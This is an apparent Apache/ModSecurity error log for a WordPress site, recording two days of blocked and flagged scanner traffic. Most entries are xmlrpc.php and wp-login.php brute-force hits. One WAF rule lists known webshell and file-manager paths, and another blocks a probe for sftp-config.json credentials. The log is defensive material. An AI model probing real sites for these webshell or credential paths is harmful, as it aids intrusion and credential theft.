[Mon Dec 01 13:31:44.952066 2025] [:error] [pid 28260:tid 28280] [client 117.102.226.238:60033] [client 117.102.226.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.102.226.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS0oQC8gx66CDAIpR7500gAAAZI"]
[Mon Dec 01 13:33:13.592386 2025] [:error] [pid 7182:tid 7197] [client 117.102.226.238:60908] [client 117.102.226.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.102.226.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS0omX9TcBzcTIZoEPh0EwAAAMw"]
[Mon Dec 01 13:34:59.052862 2025] [:error] [pid 50173:tid 50209] [client 117.102.226.238:61754] [client 117.102.226.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.102.226.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS0pA4v3zN9A0dVx6aS3kwAAAQU"]
[Mon Dec 01 13:36:33.178099 2025] [:error] [pid 28260:tid 28281] [client 117.102.226.238:62553] [client 117.102.226.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.102.226.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS0pYS8gx66CDAIpR751eQAAAZM"]
[Mon Dec 01 14:47:09.765113 2025] [:error] [pid 50143:tid 50154] [client 191.102.165.49:47604] [client 191.102.165.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 191.102.165.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS057Q4ii19UTfa9gmZU6gAAAAk"]
[Mon Dec 01 14:47:12.361249 2025] [:error] [pid 50143:tid 50158] [client 191.102.165.49:60850] [client 191.102.165.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 191.102.165.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS058A4ii19UTfa9gmZU7AAAAA0"]
[Mon Dec 01 14:47:14.290901 2025] [:error] [pid 50173:tid 50225] [client 191.102.165.49:34457] [client 191.102.165.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 191.102.165.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS058ov3zN9A0dVx6aTK6gAAARU"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 01 15:14:09.400482 2025] [:error] [pid 44545:tid 44567] [client 185.215.180.158:57338] [client 185.215.180.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.215.180.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS1AQahbkkDN7U1j-voG6wAAARQ"]
[Mon Dec 01 15:18:27.538411 2025] [:error] [pid 53359:tid 53387] [client 5.157.55.202:48305] [client 5.157.55.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.157.55.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS1BQzjrFN7YxynOshGj4QAAAFc"]
[Mon Dec 01 15:18:30.031757 2025] [:error] [pid 53361:tid 53421] [client 5.157.55.202:56957] [client 5.157.55.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.157.55.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS1BRjWnVkhh6RvQHCocggAAAAM"]
[Mon Dec 01 15:18:31.976293 2025] [:error] [pid 53359:tid 53366] [client 5.157.55.202:56344] [client 5.157.55.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.157.55.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS1BRzjrFN7YxynOshGj6QAAAEI"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 01 16:23:31.722627 2025] [:error] [pid 56592:tid 56610] [client 159.223.142.249:35576] [client 159.223.142.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.142.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS1Qg3Ji8Fy68Z0CDYBwdwAAARA"]
[Mon Dec 01 16:41:01.714120 2025] [:error] [pid 53361:tid 53426] [client 43.130.154.56:43636] [client 43.130.154.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aS1UnTWnVkhh6RvQHCo1_AAAAAg"]
[Mon Dec 01 17:34:07.472679 2025] [:error] [pid 5287:tid 5294] [client 156.67.105.115:48608] [client 156.67.105.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.105.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS1hDx9jNI276otUz6ho5QAAAYI"]
[Mon Dec 01 18:48:03.384137 2025] [:error] [pid 48896:tid 48938] [client 195.35.2.188:38246] [client 195.35.2.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.35.2.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS1yY0KTSAN0FYRx4_necQAAAIo"]
[Mon Dec 01 19:32:53.212062 2025] [:error] [pid 3384:tid 3390] [client 182.42.111.213:45180] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aS185Yrlvm8bC96s6ZFLOwAAAIQ"]
[Mon Dec 01 20:07:56.726296 2025] [:error] [pid 3247:tid 3276] [client 149.202.183.73:37554] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS2FHCMO2n3Q0MZfETI8RgAAAMA"]
[Mon Dec 01 20:36:16.965764 2025] [:error] [pid 37581:tid 37589] [client 196.196.220.178:47152] [client 196.196.220.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.196.220.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS2LwIpLkLAzaHoItgad0AAAAUY"]
[Mon Dec 01 20:36:19.478357 2025] [:error] [pid 37488:tid 37560] [client 196.196.220.178:54491] [client 196.196.220.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.196.220.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS2LwwYuXqVQB9eas3O8OgAAAA8"]
[Mon Dec 01 20:36:21.575328 2025] [:error] [pid 37487:tid 37529] [client 196.196.220.178:40336] [client 196.196.220.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.196.220.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS2LxRkh5IowGSjYDDKsiQAAAMs"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 01 21:14:51.363764 2025] [:error] [pid 37581:tid 37604] [client 185.249.227.216:36330] [client 185.249.227.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.249.227.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS2Uy4pLkLAzaHoItgauDAAAAVU"]
[Mon Dec 01 21:36:05.512332 2025] [autoindex:error] [pid 42358:tid 42381] [client 20.185.233.59:33811] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 01 21:36:05.765310 2025] [proxy_fcgi:error] [pid 42358:tid 42372] [client 20.185.233.59:33811] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Mon Dec 01 21:37:42.045939 2025] [:error] [pid 42358:tid 42370] [client 20.185.233.59:33811] [client 20.185.233.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aS2aJip1UoALeoaVXbe7NwAAAIk"], referer: https://www.google.fr/
[Mon Dec 01 21:37:52.882165 2025] [:error] [pid 37581:tid 37593] [client 20.185.233.59:33836] [client 20.185.233.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.185.233.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS2aMIpLkLAzaHoItga1gQAAAUo"], referer: https://www.yahoo.com/
[Mon Dec 01 21:37:55.524124 2025] [autoindex:error] [pid 51644:tid 51649] [client 20.185.233.59:33812] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 01 21:37:55.785611 2025] [autoindex:error] [pid 51644:tid 51665] [client 20.185.233.59:33812] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 01 21:37:56.005865 2025] [autoindex:error] [pid 51644:tid 51658] [client 20.185.233.59:33812] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 01 22:29:56.073713 2025] [:error] [pid 15509:tid 15512] [client 109.176.198.138:45388] [client 109.176.198.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.176.198.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS2mZNoBIyRqTZdPhQFNhwAAAQE"]
[Mon Dec 01 23:42:04.557087 2025] [:error] [pid 18345:tid 18362] [client 195.154.86.36:48646] [client 195.154.86.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.154.86.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS23TIVsrxB9yXoU--bB-gAAAU8"]
[Tue Dec 02 02:10:39.837428 2025] [:error] [pid 18735:tid 18765] [client 161.97.139.169:38600] [client 161.97.139.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.139.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS3aHyObBdpXdl5ZEt_4hwAAAQE"]
[Tue Dec 02 02:17:17.106797 2025] [:error] [pid 18734:tid 18757] [client 103.65.236.149:49205] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aS3brRDodp5NNlEyq_AIUwAAAFQ"]
[Tue Dec 02 04:05:03.702399 2025] [:error] [pid 5273:tid 5308] [client 108.143.65.196:59703] [client 108.143.65.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/userfuns.php"] [unique_id "aS307yMmXO5H1kNwHHU6MgAAAYY"], referer: www.google.com
[Tue Dec 02 04:35:07.880774 2025] [:error] [pid 5272:tid 5277] [client 103.1.187.190:42450] [client 103.1.187.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.1.187.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS37--wbFoRzPGfZYVRYvwAAAUI"]
[Tue Dec 02 05:42:23.579845 2025] [:error] [pid 3647:tid 3654] [client 107.180.249.30:50520] [client 107.180.249.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.249.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS4Lv1JaqGDFgh_0XI_ARAAAAAE"]
[Tue Dec 02 07:55:59.770105 2025] [:error] [pid 3649:tid 3728] [client 109.199.108.120:47864] [client 109.199.108.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.199.108.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS4rD7wjL4uqC6YFjxGzVQAAAJE"]
[Tue Dec 02 08:47:05.744298 2025] [:error] [pid 5232:tid 5236] [client 181.116.201.229:39936] [client 181.116.201.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.116.201.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS43CQApmO-auDy1ob42kAAAAQI"]
[Tue Dec 02 08:54:28.015475 2025] [:error] [pid 5232:tid 5252] [client 223.244.35.77:45019] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aS44xAApmO-auDy1ob45SwAAARI"]
[Tue Dec 02 09:06:43.972533 2025] [:error] [pid 3648:tid 3702] [client 44.231.11.201:57212] [client 44.231.11.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.231.11.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS47o-QEp5icp6XOJr0x-QAAAFI"]
[Tue Dec 02 09:38:03.034481 2025] [:error] [pid 3647:tid 3670] [client 43.165.69.68:51556] [client 43.165.69.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aS5C-1JaqGDFgh_0XI_94AAAABE"]
[Tue Dec 02 10:01:08.416929 2025] [:error] [pid 5232:tid 5237] [client 159.203.104.232:53204] [client 159.203.104.232] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "149.88.106.131_c8f1b7c13a1565b968781bd893db7fca96b574dd"): Internal error (specific information not available) [hostname "www.gigfragments.org"] [uri "/index.php"] [unique_id "aS5IYAApmO-auDy1ob5P6QAAAQM"]
[Tue Dec 02 10:15:41.139861 2025] [:error] [pid 5273:tid 5309] [client 45.77.32.106:50186] [client 45.77.32.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.77.32.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS5LzSMmXO5H1kNwHHWuiAAAAYc"]
[Tue Dec 02 10:20:12.797086 2025] [proxy_fcgi:error] [pid 3647:tid 3669] (70007)The timeout specified has expired: [client 51.81.107.180:58220] AH01075: Error dispatching request to : (polling)
[Tue Dec 02 11:23:52.952856 2025] [:error] [pid 48650:tid 48670] [client 104.208.160.135:48768] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS5byIQuWSn3xrJsXbnalgAAAc8"]
[Tue Dec 02 12:38:06.372113 2025] [:error] [pid 3648:tid 3699] [client 66.226.73.181:35990] [client 66.226.73.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.226.73.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS5tLuQEp5icp6XOJr1l0gAAAE8"]
[Tue Dec 02 13:34:13.744144 2025] [:error] [pid 3760:tid 3762] [client 109.248.139.86:39319] [client 109.248.139.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.248.139.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS56VVjLYEjdWVcKgVUS4AAAAMA"], referer: https://gigfragments.org/
[Tue Dec 02 13:34:15.994266 2025] [:error] [pid 48650:tid 48668] [client 109.248.139.86:49479] [client 109.248.139.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.248.139.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS56V4QuWSn3xrJsXbn7KwAAAc0"], referer: https://gigfragments.org/wp-login.php?action=register
[Tue Dec 02 13:59:54.343977 2025] [:error] [pid 3649:tid 3721] [client 109.199.113.18:50092] [client 109.199.113.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.199.113.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS6AWrwjL4uqC6YFjxErUQAAAIo"]
[Tue Dec 02 14:52:33.978392 2025] [:error] [pid 3649:tid 3725] [client 185.209.228.46:59454] [client 185.209.228.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.209.228.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS6MsbwjL4uqC6YFjxFFYQAAAI4"]
[Tue Dec 02 16:08:37.756368 2025] [:error] [pid 3760:tid 3775] [client 156.67.105.115:47006] [client 156.67.105.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.105.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS6ehVjLYEjdWVcKgVU3LwAAAM0"]
[Tue Dec 02 17:16:02.694093 2025] [:error] [pid 3647:tid 3666] [client 159.223.176.184:34532] [client 159.223.176.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.176.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS6uUlJaqGDFgh_0XI905AAAAA0"]
[Tue Dec 02 18:03:21.223141 2025] [autoindex:error] [pid 5232:tid 5246] [client 194.180.49.170:5648] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/themes/landkit/assets/libs/choices.js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 02 18:25:40.404798 2025] [:error] [pid 5232:tid 5245] [client 159.89.50.224:37602] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS6-pAApmO-auDy1ob7dSQAAAQs"]
[Tue Dec 02 20:46:55.973468 2025] [:error] [pid 3649:tid 3730] [client 104.248.23.4:57754] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.23.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS7fv7wjL4uqC6YFjxGcJgAAAJM"]
[Tue Dec 02 21:43:52.697422 2025] [:error] [pid 5232:tid 5239] [client 46.235.42.144:54600] [client 46.235.42.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.235.42.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS7tGAApmO-auDy1ob4L9QAAAQU"]
[Tue Dec 02 21:54:41.974825 2025] [:error] [pid 3649:tid 3727] [client 221.229.106.25:58684] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aS7vobwjL4uqC6YFjxGvaQAAAJA"]
